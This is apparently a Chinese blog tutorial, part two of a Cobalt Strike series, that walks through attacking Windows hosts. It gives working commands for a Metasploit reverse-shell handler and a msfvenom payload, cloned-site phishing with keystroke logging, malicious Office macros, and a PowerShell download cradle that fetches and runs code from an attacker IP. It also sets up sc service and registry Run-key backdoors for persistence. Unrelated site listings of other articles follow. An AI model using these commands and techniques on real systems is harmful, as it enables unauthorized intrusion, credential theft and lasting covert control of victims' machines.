0x00 前言

前一章介绍了Cobalt Strike的基本用法,本章接着介绍如何攻击、提权、维权等。

0x01 与Metasploit联动

Cobalt Strike → Metasploit

msf开启监听模式

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j


创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)

利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose

返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)

Metasploit→ Cobalt Strike

当然这里也可以通过用msfvenom生成木马,再由CS发布

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe



此时再次查看msf发现获取到会话

至于后面怎么提权可以参考meterpreter使用教程

0x02 钓鱼攻击

点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入

然后在肉鸡上访问攻击机IP,访问克隆的网页

当受害者输入了用户名密码,CS在日志里会有记录

我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。
为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面
点击 Attacks->Web Driver-by->System Profiler

当我们访问192.168.183.147:81时会自动跳转到登录页面
在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler

当我们我们访问80端口点击确认后会跳转到正确的登录界面

0x03 宏钓鱼

点击Attacks->Packages->MS Office Macro
选择相应的监听器,点击Generate


上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。
点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。


当你打开启用宏的文档,CS便会接收到返回的会话

0x04 shellcode

CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator
这里以powershell为例

将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

0x05 提权

elevate提权

Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit
点击Cobalt Strike->Script Manager来导入cna文件

选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权

0x06 权限维持

服务后门

点击Attacks->web driver-by ->script web delivery

点击launch生成如下命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"

在目标设备执行以上命令会拿到普通用户的权限,这里需要提权
打开beacon shell并执行命令

shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""


查看受害机器服务,发现名为name的服务项创建成功

不过此时该服务启动类型为手动,我们需要将其设置为自动

shell sc config "name" start= auto


设置服务的描述字符串

shell sc description "name" "description"



这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。

注册表后门

点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器
上传可以通过Explore>File Browser

当然这里也可以选择将exe设置为服务后门,方法同上

shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"

下面我们来演示一下如何设置注册表后门

 shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f



这样一个注册表自启动后门已经设置成功了

Cobalt Strike使用教程二的更多相关文章

  1. Cobalt Strike系列教程第五章:截图与浏览器代理

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  2. Cobalt Strike系列教程第二章:Beacon详解

    上周更新了Cobalt Strike系列教程第一章:简介与安装,文章发布后,深受大家的喜爱,遂将该系列教程的其他章节与大家分享,提升更多实用技能! 第二章:Beacon详解 一.Beacon命令 大家 ...

  3. Cobalt Strike系列教程第四章:文件/进程管理与键盘记录

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  4. Cobalt Strike系列教程第三章:菜单栏与视图

    通过前两章的学习,我们掌握了Cobalt Strike教程的基础知识,及软件的安装使用. Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  5. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  6. Cobalt Strike系列教程第六章:安装扩展

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  7. Cobalt Strike系列教程第一章:简介与安装

    Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...

  8. 渗透测试神器Cobalt Strike使用教程

    Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器.Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队 ...

  9. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  10. Cobalt Strike DNS通讯实例

    一.域名设置 如果没有域名,可以参考另一篇博客,申请Freenom免费域名,并使用DNSPod解析 链接:https://www.cnblogs.com/ssooking/p/6364639.html ...

随机推荐

  1. 打开conda环境报错:UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0x9a in position 317: illegal multibyt

    解决打开conda环境报错:UnicodeDecodeError: 'gbk' codec can't decode byte 0x9a in position 317: illegal multib ...

  2. CF1037G A Game on Strings Sol

    有趣题. 首先"分成若干个互不相干的子串"是子游戏的定义,可以用 SG 函数处理. 然而接下来试着打了半个多小时的表,没有找到任何规律. 但是发现 SG 函数的状态转移是很简单的. ...

  3. 深入理解 python 虚拟机:描述器的王炸应用-property、staticmethod 和 classmehtod

    深入理解 python 虚拟机:描述器的王炸应用-property.staticmethod 和 classmehtod 在本篇文章当中主要给大家介绍描述器在 python 语言当中有哪些应用,主要介 ...

  4. 前端模拟“多线程”提交Http请求

    首先说,javascript没有多线程这样一个说法,我说的只是类似那种效果.其次,不建议使用这种方式解决问题,多线程应该交给后台去做. 但是,如果非要这样用,有什么方法呢? 我在工作中就遇到了这样的问 ...

  5. 2022-06-28:以下golang代码输出什么?A:true;B:false;C:panic;D:编译失败。 package main import “fmt“ func main() {

    2022-06-28:以下golang代码输出什么?A:true:B:false:C:panic:D:编译失败. package main import "fmt" func ma ...

  6. 2022-06-11:注意本文件中,graph不是邻接矩阵的含义,而是一个二部图。 在长度为N的邻接矩阵matrix中,所有的点有N个,matrix[i][j]表示点i到点j的距离或者权重, 而在二部

    2022-06-11:注意本文件中,graph不是邻接矩阵的含义,而是一个二部图. 在长度为N的邻接矩阵matrix中,所有的点有N个,matrix[i][j]表示点i到点j的距离或者权重, 而在二部 ...

  7. CF1825C LuoTianyi and the Show

    传送门(luogu) 传送门(CF) 前言 我来水题解力 简化题意 \(n\) 个人,\(m\) 个座位,每个人落座的方法有三种: 坐最左边的人的左边,没人的话就做 \(m\) 号座位,若最左边的为 ...

  8. 2014年蓝桥杯C/C++大学B组省赛真题(六角填数)

    题目描述: 如图[1.png]所示六角形中,填入1~12的数字. 使得每条直线上的数字之和都相同. 图中,已经替你填好了3个数字,请你计算星号位置所代表的数字是多少? 分析:先将a数组初始化为1-12 ...

  9. vue 中render执行流程梳理

    用了多年vue 今天对自己了解的render 做一个梳理 一.使用template模板 先从vue 初始化开始: 众所周知项目的main.js中定义了 var app = new Vue({})这vu ...

  10. 从源码分析 Go 语言使用 cgo 导致的线程增长

    TDengine Go 连接器 https://github.com/taosdata/driver-go 使用 cgo 调用 taos.so 中的 API,使用过程中发现线程数不断增长,本文从一个 ...